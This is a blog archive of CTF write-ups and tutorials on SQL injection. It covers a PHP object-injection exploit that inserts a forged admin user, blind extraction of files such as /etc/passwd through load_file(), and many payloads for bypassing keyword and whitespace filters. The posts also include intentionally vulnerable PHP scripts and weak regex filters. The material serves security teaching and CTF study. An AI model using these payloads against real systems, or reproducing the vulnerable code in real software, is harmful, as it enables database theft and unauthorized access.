hack.lu CTF challenge 21 writeup – PIGS

October 30, 2010

This week we organized the Capture-The-Flag contest for the hack.lu conference in Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. The big topic was “pirates”. Everything is mirrored at http://hacklu.fluxfingers.net/ where you can find lots of other cool challenges and writeups.

In challenge 21 the players were given a website of a criminal pirate organization stealing gold. The task was to hack the website and to find out, how much gold the leader ‘Jack’ has stolen so far.

In the “Support us” area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ignored. However there is a hint in the text:

Our website supports 10 international languages (automatically detected) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your language file.

Also 10 different flags on top of the site menu show which languages are supported. How are those languages detected automatically? By the Accept-Language-header your browser sends automatically. You can verify this by sending different header values (I prefer using Live HTTP Headers). In example Accept-Language: es will show the website with spanish text.

The quote shown above also reveals that the website uses language files. Also sending a unsupported language in the header leads to the following error:

Accept-Language: foobar
Language (foobar) not available. Switching to default (en).

We know that the website fetches the text from files. Lets try a path traversal:

Accept-Language: index.php
Language (index.php) not available. Switching to default (en).

Accept-Language: ../index.php
Could not import language data from ‘<?php ..code.. ?>’

Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code.

The source code reveals, that there is a hidden ?id=17 displaying the admin login interface. Behind this interface the current gold status of the logged in captain is shown. The task is to find out captain Jack’s gold status so we need to login as ‘Jack’. Lets see how we can accomplish that.

The file worker/funcs.php reveals how the language files work. Basically all language data is stored serialized in files. Those language files are stored in messages/. Each language file also has to have the serialized variable $secretkey set to “p1r4t3s.k1lly0u” to pass the check if the file is signed. Then, all data is unserialized and assigned to the global array $messages which will be used to display the text throughout the website.

Now we know the key to sign we can upload our own files. To create a valid serialized file we can simply use the following php code:

<?php
$messages = array("secretkey" => "p1r4t3s.k1lly0u");
echo serialize($messages);
?>

which will give you:

a:1:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";} 

You can also write this down manually (small introduction to serialize syntax):

a:1: create array with 1 element
{: array start
s:9:”secretkey”: array key: string with 9 characters
s:15:”p1r4t3s.k1lly0u”: array value: string with 15 characters
}: array end

However we can not directly browse to messages/ because we get a 403 forbidden for this path. Uploading a signed php file with php code (php shell) within the serialized strings will not work here.

Investigating the object-oriented code in worker/mysql.php shows how the database queries and connection is handled. For each request to the PIGS website a new class object sql_db is created. This object is initialized with the reserved function __wakeup() and later destroyed with the reserved function __destruct(). One can see that when the function __destruct() is triggered, the function sql_close() is called. On the first look this looks unsuspicious. However when looking at the function sql_close() we see that a log event is initiated.

function __destruct()
{
	$this->sql_close();
}

function sql_close()
{
	[...]
	$this->createLog();
	[...]
}

function createLog()
{
	$ip = $this->escape($_SERVER['REMOTE_ADDR']);
	$lang = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);
	$agent = $this->escape($_SERVER['HTTP_USER_AGENT']);
	$log_table = $this->escape($this->log_table);
	$query = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')";
	$this->sql_query($query);
}

So every request will be logged into the table that the current sql_db object has been initialized with (logs) during the constructor call sql_db(). The inserted values are all escaped correctly, so no SQL injection here. Or maybe there is?

The function __destruct() of every instanced object is called once the php interpreter has finished parsing a requested php file. In PIGS for every request an object of sql_db is created and after the php file has been parsed the __destruct() function is called automatically. Then, the function sql_close() is called which calls the function createLog().

When uploading a language file that contains a serialized sql_db object this object will be awaken and lives until the rest of the php code is parsed. When the createLog() function is called for this object within the __destruct() call, the locale variable log_table is used in the sql query that creates the logentry. Because this locale variable can be altered in the serialized string uploaded with the file, SQL injection is possible.

To trigger the vulnerability we create a signed language file with the key and with a sql_db object that has an altered log_table. Since we need to login as user ‘Jack’ we simply abuse the INSERT query of the createLog() function to insert another user ‘Jack’ with password ‘bla’ to the users table:

INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent')

$log_table=users VALUES ('', 'Jack', 'bla', '0')-- -

the query will become:

INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent')

which will insert the specified values into the table users. The table name is escaped before used in the query, however a table name is never surrounded by quotes so that an injection is still possible. We simply avoid quotes with the mysql hex representation of strings. To build the serialized string we can instantiate a modified sql_db object ourselves and serialize it. The mysql connection credentials can be read from the leaked source code files.

<?php

class sql_db
{
	var $query_result;
	var $row = array();
	var $rowset = array();
	var $num_queries = 0;

	function sql_db()
	{
		$this->persistency = false;
		$this->user = 'pigs';
		$this->password = 'pigs';
		$this->server = 'localhost';
		$this->dbname = 'pigs';
		$this->log_table = "users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";
	}
} 

$db = new sql_db();

$payload = array (
  'secretkey' => 'p1r4t3s.k1lly0u',
  $db
);

echo serialize($payload);
?>

Now we can simply save the serialized payload into a file and upload it.

a:2:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";i:0;O:6:"sql_db":10:{s:12:"query_result";N;s:3:"row";a:0:{}s:6:"rowset";a:0:{}s:11:"num_queries";i:0;s:11:"persistency";b:0;s:4:"user";s:4:"pigs";s:8:"password";s:4:"pigs";s:6:"server";s:9:"localhost";s:6:"dbname";s:4:"pigs";s:9:"log_table";s:45:"users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";}}

The language file will successfully pass the key-check and the language data will be unserialized. Then the sql_db object will be created with the modified log_table variable. Finally the __destruct() function is called automatically and the log_table will be used during the createLog() function which triggers the SQL injection and the INSERT of a new user ‘Jack’. Now we can login into the admin interface with our user ‘Jack’ and the password ‘bla’. Then the function printGold() is called for the username that has been used during the successful login.

function printGold()
{
	global $db;
	
	$name = $db->escape($_POST['name']);
	$result = $db->sql_query("SELECT gold FROM users WHERE name='$name'");
	if($db->sql_numrows($result) > 0)
	{
		$row = $db->sql_fetchrow($result);
		echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);
	}	
}

The first matching account with the user ‘Jack’ will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: 398720351149

This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser’s piwik exploit it should have been straight forward once you could download the source code. Funnily I have seen one team exploiting the SQL injection blindly ;)

Update: there is another writeup for this challenge in french available here


Blind SQL injection with load_file()

October 1, 2010

Currently I am working a lot on RIPS but here is a small blogpost about a technique I thought about lately and wanted to share.
While participating at the smpCTF I came across a blind SQL injection in level 2. After solving the challenge I checked for the FILE privilege:

/level2/?id=1/**/and/**/(SELECT/**/is_grantable/**/FROM/**/information_schema.user_privileges/**/WHERE/**/privilege_type=0x66696C65/**/AND/**/grantee/**/like/**/0x25726F6F7425/**/limit/**/1)=0x59

Luckily the FILE privilege was granted which was not intended by the organizer. Since I had not solved level 1 at that time I thought it would be easier to read the PHP files to solve level 1. First I checked if reading files with load_file() worked at all and tried to read /etc/passwd:

/level2/?id=1/**/and/**/!isnull(load_file(2F6574632F706173737764))

Since the webpage with id=1 was displayed the and condition must have been evaluated to true which means that the file could be read (load_file() returns null if the file can not be read). Before reading the PHP files I needed to find the webserver configuration file to find out where the DocumentRoot was configured. I used the same query as above to check for the existence of the following apache config files:

$paths = array( 
"/etc/passwd", 
"/etc/init.d/apache/httpd.conf", 
"/etc/init.d/apache2/httpd.conf", 
"/etc/httpd/httpd.conf", 
"/etc/httpd/conf/httpd.conf", 
"/etc/apache/apache.conf", 
"/etc/apache/httpd.conf", 
"/etc/apache2/apache2.conf", 
"/etc/apache2/httpd.conf", 
"/usr/local/apache2/conf/httpd.conf", 
"/usr/local/apache/conf/httpd.conf", 
"/opt/apache/conf/httpd.conf", 
"/home/apache/httpd.conf", 
"/home/apache/conf/httpd.conf", 
"/etc/apache2/sites-available/default", 
"/etc/apache2/vhosts.d/default_vhost.include");

update: There is an official list for Apache. Very useful.

Webpage with id=1 was displayed for the file /etc/httpd/httpd.conf thus revealing that this file existed and could be read.

Now it was time for the tricky part: I had only a true/false blind SQL injection which means that I could only bruteforce the configuration file char by char. Since the length of the file was more than 10000 chars this would have taken way too long.
I decided to give little shots at the configuration file trying to hit the DocumentRoot setting or a comment nearby that identifies my current position. Each shot bruteforced 10 alphanumerical characters:

/level2/?id=1/**/and/**/mid(lower(load_file(0x2F6574632F68747470642F68747470642E636F6E66)),$k,1)=0x$char

I compared the few bruteforced characters to a known apache configuration file trying to map the characters to a common configuration comment. This worked for most of the character sequences but unfortunately almost every configuration file is a bit different so that it was not possible to calculate the correct offset of the DocumentRoot setting once another setting had been identified. I bruteforced only alphanumerical strings to save time. For example the bruteforced string “dulesthoselisted” could be mapped to the comment “modules (those listed by `httpd -l’)” and so on.
After the 10th shot I luckily hit the DocumentRoot setting comment at offset 7467 and after this it was possible to calculate the correct offset for the beginning of the DocumentRoot setting and I could retrieve “srvhttpdhtdocs” (DocumentRoot: /srv/httpd/htdocs/).

While that worked fine during the hectics of the CTF and was better than a bruteforce on the whole configuration file, I thought about it again yesterday and thought that this technique was plain stupid ;).

If you know what you are looking for in a file (and mostly you do) you can easily find the correct offset with LOCATE(substr,str[,pos]) which will return the offset of a given substring found in a string. The following query instantly returns the next 10 characters after the DocumentRoot setting:

substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)

and can then be bruteforced easily:

mid(lower(substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)),$k,1)=0x$char

No magic here, but a helpful combination of mysql build in functions when reading files blindly.


RIPS – A static source code analyser for vulnerabilities in PHP scripts

June 11, 2010

In the last years I have been working on my PHP Scanner (now called RIPS) which has been released recently during the Month Of PHP Security and was awarded as the 2nd best external submission.
RIPS is a tool written in PHP itself and designed to easily detect, review and exploit PHP vulnerabilities by static source code and taint analysis. It is open source and freely available at SourceForge (yey!).

Before using it I recommend reading the paper (HTML, PDF) I submitted to be aware of the limitations RIPS has, either due to static source code analysis or because of my implementation of it.
In short: RIPS is not ready yet for firing it on big code trees like wordpress, but I think it does a good job for home-made or smaller open source apps and in assisting code reviews. I hope I will find time in the future to improve RIPS and I am honestly thankful for any feedback, bugreports, code improvements or feature requests.

[download RIPS]

Update 04.07.10: A new version 0.31 has been released.
Update 13.08.10: A new version 0.32 has been released.
Update 11.09.10: A new version 0.33 has been released.


Exploiting hard filtered SQL Injections 3

May 26, 2010

This is a follow-up post of the first edition of Exploiting hard filtered SQL Injections and at the same time a writeup for Campus Party CTF web4. In this post we will have a closer look at group_concat() again.

Last month I was invited to Madrid to participate at the Campus Party CTF organized by SecurityByDefault. Of course I was mainly interested in the web application challenges, but there was also reverse engineering, cryptography and network challenges. For each of the categories there was 4 difficulty levels. The hardest webapp challenge was a blind SQLi with some filtering. Techniques described in my last blogposts did not helped me so I had to look for new techniques and I promised to do a little writeup on this.
The challenge was a news site with a obvious SQLi in the news id GET parameter. For different id’s specified by the user one could see different news articles while a SQL error resulted in no article being displayed. The filter was like the “basic keyword filter” I already introduced here with additional filtering for SQL comments:

if(preg_match('/\s/', $id))
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
	exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id))
	exit('attack'); // no sqli keywords
if(preg_match('/(--|#|\/\*)/', $id))
	exit('attack'); // no sqli comments

The first attempt was to create a working UNION SELECT with %a0 as a whitespace alternative which is not covered by the whitespace regex but works on MySQL as a whitespace.

?id=1%a0union%a0select%a01,2,group_concat(table_name),4,5,6%a0from%a0information_schema.tables;%00

However no UNION SELECT worked, I had no FILE PRIV and guessing the table and column names was too difficult in the short time because they were in spanish and with different upper and lower case letters. So I decided to go the old way with parenthesis and a CASE WHEN:

?id=(case(substr((select(group_concat(table_name))from(information_schema.tables)),1,1))when(0x61)then(1)else(2)end)

The news article with id=1 is shown when the first letter of all concated table names is ‘a’, otherwise news article with id=2 is shown.

As stated in my last post the output of group_concat() is limited to 1024 characters by default. This is sufficient to retrieve all table names because all default table names concated have a small length and there is enough space left for custom tables.
However the length of all standard columns is a couple of thousands characters long and therefore reading all column names with group_concat() is not easily possible because it will only return the first 1024 characters of concated standard columns of the database mysql and information_schema *.
Usually, the goal is to SELECT column names only from a specific table to make the result length smaller than 1024 characters. In case WHERE and LIMIT is filtered I presented a “WHERE alternative” in the first part:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#

Here I co-SELECTed the column table_name to use it in the HAVING clause (otherwise the error Unknown column ‘table_name’ in ‘having clause’ would occur). In a subSELECT you cannot select from more than one column and this is where I struggled during the challenge. The easiest way would have been to use GROUP BY with %a0 as delimiter:

?id=(case(substr((select(group_concat(column_name))from(information_schema.columns)group%a0by(table_name)having(table_name)=0x41646D696E6973747261646F726553),1,1))when(0x61)then(1)else(2)end)

But what I tried to do is to find a way around the limiting 1024 character of group_concat(). Lets assume the keywords “group” and “having” are filtered also ;) First I checked the total amount of all columns:

?id=if((select(count(*))from(information_schema.columns))=187,1,2)

Compared to newer MySQL versions the amount of 187 was relatively small (my local MySQL 5.1.36 has 507 columns by default, it was MySQL 5.0).
Now the idea was to only concatenate the first few characters of each column_name to fit all beginnings of all column_names into 1024 characters. Then it would be possible to read the first characters of the last columns (this is where the columns of user-created tables appear). After this the next block of characters can be extracted for each column_name and so on until the whole name is reconstructed.
So the next step was to calculate the maximum amount of characters I could read from each column_name without exceeding the maximum length of 1024:

5 characters * 187 column_names = 935 characters

Well thats not correct yet, because we have to add the commas group_concat() adds between each column. That is additional 186 characters which exceeds the maximum length of 1024. So we take only 4 characters per column_name:

4 characters * 187 column_name + 186 commas = 934 characters

The injection looked like this:

?id=(case(substr((select(group_concat(substr(column_name,1,4)))from(information_schema.columns)),1,1))when(0x61)then(1)else(2)end)

To avoid finding the right offset where the user tables starts I began to extract column name by column name from the end, until I identified columns of the default mysql database (a local mysql setup helps a lot).

I think the following graphic helps to get a better idea of what I did.
The first SELECT shows a usual group_concat() on all column names (red blocks with different length) that misses the columns from user-created tables that appear at the end of the block list.
The second query concatenates only the first 4 characters (blue) of every name to make the resultset fit into the 1024 character limit. In the same way the next block of 4 characters can be SELECTed (third query).

Each string of concatenated substrings can be read char by char to reconstruct the column names (last query).

It gets a bit tricky when the offsets change while reading the second or third block of 4 characters and you need to keep attention to not mix up the substrings while putting them back together for every column name. A little PHP script automated the process and saved some time. Although this approach was way to complicated to solve this challenge, I learned a lot ;)
In the end I ranked 2nd in the competition. I would like to thank again SecurityByDefault for the fun and challenging contest, especially Miguel for the SQLi challenges and give kudos to knx (1st), aw3a (3rd) and LarsH (the only one solving the tough reversing challenges).

By the way the regex filters presented in the last posts are not only for fun and challenges: I have seen widely used community software using (bypassable) filters like these.

* Note that the exact concated length and amount of columns and tables depends on your MySQL version. Generally the higher your version is, the more column names are available and the longer is the concated string. You can use the following queries to check it out yourself:

select sum(length(table_name)) from information_schema.tables where table_schema = 'information_schema' or table_schema='mysql'
select sum(length(column_name)) from information_schema.columns where table_schema = 'information_schema' or table_schema='mysql'

More:
Part 1, Part2, SQLi filter evasion cheatsheet


Exploiting hard filtered SQL Injections 2 (conditional errors)

May 7, 2010

This is a addition to my last post about Exploiting hard filtered SQL Injections. I recommend reading it to understand some basic filter evasion techniques. In this post we will have a look at the same scenario but this time we will see how it can be solved with conditional errors in a totally blind SQLi scenario.
For this we consider the following intentionally vulnerable source code:

<?php
// DB connection

// $id = (int)$_GET['id'];
$id = $_GET['id'];

$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id") or die("Error");

if($data = mysql_fetch_array($result))
	$_SESSION['name'] = $data['name'];
?>

(proper securing is shown on line 4 to avoid the same confusion as last time ;))

The main difference to the previous source code is that the user/attacker will not see any output of the SQL query itself because the result is only used for internals. However, the application has a notable difference when an error within the SQL query occurs. In this case it simply shows “Error” but this behavior could also be a notable MySQL error message when error_reporting=On or any other custom error or default page that indicates a difference between a good or bad SQL query. Or think about INSERT queries where you mostly don’t see any output of your injection rather than a “successful” or not.

Known conditional errors

Now how do we exploit this? “Timing!” you might say, but thats not the topic for today so I’ll filter that out for you ;)

if(preg_match('/(benchmark|sleep)/i', $id)) 
	exit('attack'); // no timing

If you encounter keyword filtering it is more than likely that timing is forbidden because of DoS possibilities. On the other hand using conditional errors is just faster and more accurate.
The most common documented error for SQLi usage is a devision by zero.

?id=if(1=1, CAST(1/0 AS char), 1)

However this throws an error only on PostgreSQL and Oracle (and some old MSSQL DBMS) but not on MySQL. A known alternative to cause a conditional error under MySQL is to use a subquery with more than one row in return:

?id=if(1=1, (select table_name from information_schema.tables), 1)

Because the result of the subquery is compared to a single value it is necessary that only one value is returned. A SELECT on all rows of information_schema.tables will return more than one value and this will result in the following error:

Subquery returns more than 1 row

Accordingly our vulnerable webapp will output “Error” and indicate if the condition (1=1) was true or false. Note that we have to know a table and column name to use this technique.

conditional errors with regex

Until yesterday I did not knew of any other way to throw a conditional error under MySQL (if you know any other, please leave a comment!) and from time to time I was stuck exploiting hard filtered SQL Injections where I could not use timing or known conditional errors because I could not access information_schema or any other table. A new way to trigger conditional errors under MySQL can be achieved by using regular expressions (regex).
Regexes are often used to prevent SQL injections, just like in my bad filter examples (which you should never use for real applications). But also for attackers a regex can be very useful. MySQL supports regex by the keyword REGEXP or its synonym RLIKE.

SELECT id,title,content FROM news WHERE content REGEXP '[a-f0-9]{32}'

The interesting part for a SQL Injection is that an error in the regular expression will result in a MySQL error as well. Here are some examples:

SELECT 1 REGEXP ''
Got error 'empty (sub)expression' from regexp
SELECT 1 REGEXP '('
Got error 'parentheses not balanced' from regexp
SELECT 1 REGEXP '['
Got error 'brackets ([ ]) not balanced' from regexp
SELECT 1 REGEXP '|'
Got error 'empty (sub)expression' from regexp
SELECT 1 REGEXP '\\'
Got error 'trailing backslash (\)' from regexp
SELECT 1 REGEXP '*', '?', '+', '{1'
Got error 'repetition-operator operand invalid' from regexp
SELECT 1 REGEXP 'a{1,1,1}'
Got error 'invalid repetition count(s)' from regexp

This can be used to build conditional errors loading an incorrect regular expression depending on our statement. The following injection will check if the MySQL version is 5 or not:

?id=(select(1)rlike(case(substr(@@version,1,1)=5)when(true)then(0x28)else(1)end))

If the condition is true a incorrect hex encoded regular expression is evaluated and an error is thrown. But in this case we could also have used a subselect error as above if we know a table name. Now consider a similar filter introduced in my previous post:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(into|file)/i', $id))
	exit('attack'); // no file operation
if(preg_match('/(benchmark|sleep)/i', $id)) 
	exit('attack'); // no timing

The first highlighted filter avoids using the known conditional error because we can not use subselects. The last two highlighted filters prevents us from using time delays or files as a side channel. However the new technique with REGEXP does not need a SELECT to trigger a conditional error because we inject into a WHERE statement and MySQL allows a comparison of three operands:

?id=(1)rlike(if(mid(@@version,1,1)like(5),0x28,1))

If the first char of the version is ‘5’ then the regex ‘(‘ will be compared to 1 and an error occurs because of unbalanced parenthesis. Otherwise the regex ‘1’ will be evaluated correctly and no error occurs. Again we have everything we need to retrieve data from the database and to have fun with regex filter evasions by regex errors.

More:
Part 1, Part 3, SQLi filter evasion cheatsheet


Exploiting hard filtered SQL Injections

March 19, 2010

While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance.

For the following examples I’ll use this basic vulnerable PHP script:

<?php
// DB connection

$id = $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);

$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

if($data = @mysql_fetch_array($result))
	echo "Welcome ${data['name']}";
?>

Note: the webapplication displays only the name of the first row of the sql resultset.

Warmup

Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability:

?id=1 and 1=0-- -
?id=1 and 1=1-- -

You also might want to see all usernames by iterating through limit (x):

?id=1 or 1=1 LIMIT x,1-- -

But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area.

So you would like to know what the table and column names are and you try the following:

?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- -
?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -

After you have found interesting tables and its column names you can start to extract data.

?id=1 and 1=0 union select null,password,null from users limit 1,1-- -

Ok thats enough for warming up.

Whitespaces, quotes and slashes filtered

Of course things aren’t that easy most time. Now consider the following filter for some extra characters:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes

As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often).

?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)

Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability).

?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#

Instead of a quoted string we can use the SQL hex representation of the found table name:

?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#

Nice.

Basic keywords filtered

Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id)) 
	exit('attack'); // no sqli keywords

For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result:

?id=1#
?id=2-1#

To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have:

?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#

This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars.

WHERE alternative

The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING.
First we have a look which databases are available:

?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#

This will definitely fit into 1024 chars, but you can also use database() to get the current database name:

?id=(0)union(select(0),database(),(0))#

Lets assume your database name is “test” which hex representation is “0x74657374″. Then we can use HAVING to get all table names associated with the database “test” without using WHERE:

?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#

Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result:

?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#

We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#

Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step.

intermediate result

What do we need for our injections so far?
keywords: “union”, “select”, “from”,”having”
characters: (),._# (& or “and”)
String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))#

advanced keyword filtering

Now its getting difficult. The filter also checks for all keywords previously needed:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|where|limit)/i', $id)) 
	exit('attack'); // no sqli keywords
if(preg_match('/(union|select|from|having)/i', $id)) 
	exit('attack'); // no sqli keywords

What option do we have left?

If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list:

?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))

This will return the length of the file content or – if the file could not be read – a “1” and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char:

?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)

(while $char is the character in sql hex which is compared to the current character of the file at offset $x)

We bypassed the filter but it requires the FILE privilege.

filtering everything

Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter:

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id)) 
	exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id)) 
	exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id)) 
	exit('attack'); // no sqli comments

The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left?

We cant use procedure analyse() because it needs a space and we cant use the ‘1’%’0′ trick. Basically we only have special characters left, but that is often all we need.

We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
So how do we access them blindly? A usual blind SQLi would look like the following:

?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)

This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a':

?id=1&&mid(pass,1,1)=(0x61);%00

We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids:

?id=2&&mid(pass,1,1)=(0x61);%00
?id=3&&mid(pass,1,1)=(0x61);%00

Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like:

?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00

The first attempt could be:

?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

That does not work because the “OR 1=1″ at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1″ at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s:

?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter.

filtering everything and even more

What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”.

if(preg_match('/\s/', $id)) 
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id)) 
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id)) 
	exit('attack'); // no slashes
if(preg_match('/(and|or|null|not)/i', $id)) 
	exit('attack'); // no sqli boolean keywords
if(preg_match('/(union|select|from|where)/i', $id)) 
	exit('attack'); // no sqli select keywords
if(preg_match('/(group|order|having|limit)/i', $id)) 
	exit('attack'); //  no sqli select keywords
if(preg_match('/(into|file|case)/i', $id)) 
	exit('attack'); // no sqli operators
if(preg_match('/(--|#|\/\*)/', $id)) 
	exit('attack'); // no sqli comments
if(preg_match('/(=|&|\|)/', $id)) 
	exit('attack'); // no boolean operators

Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.:

?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00

The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators?

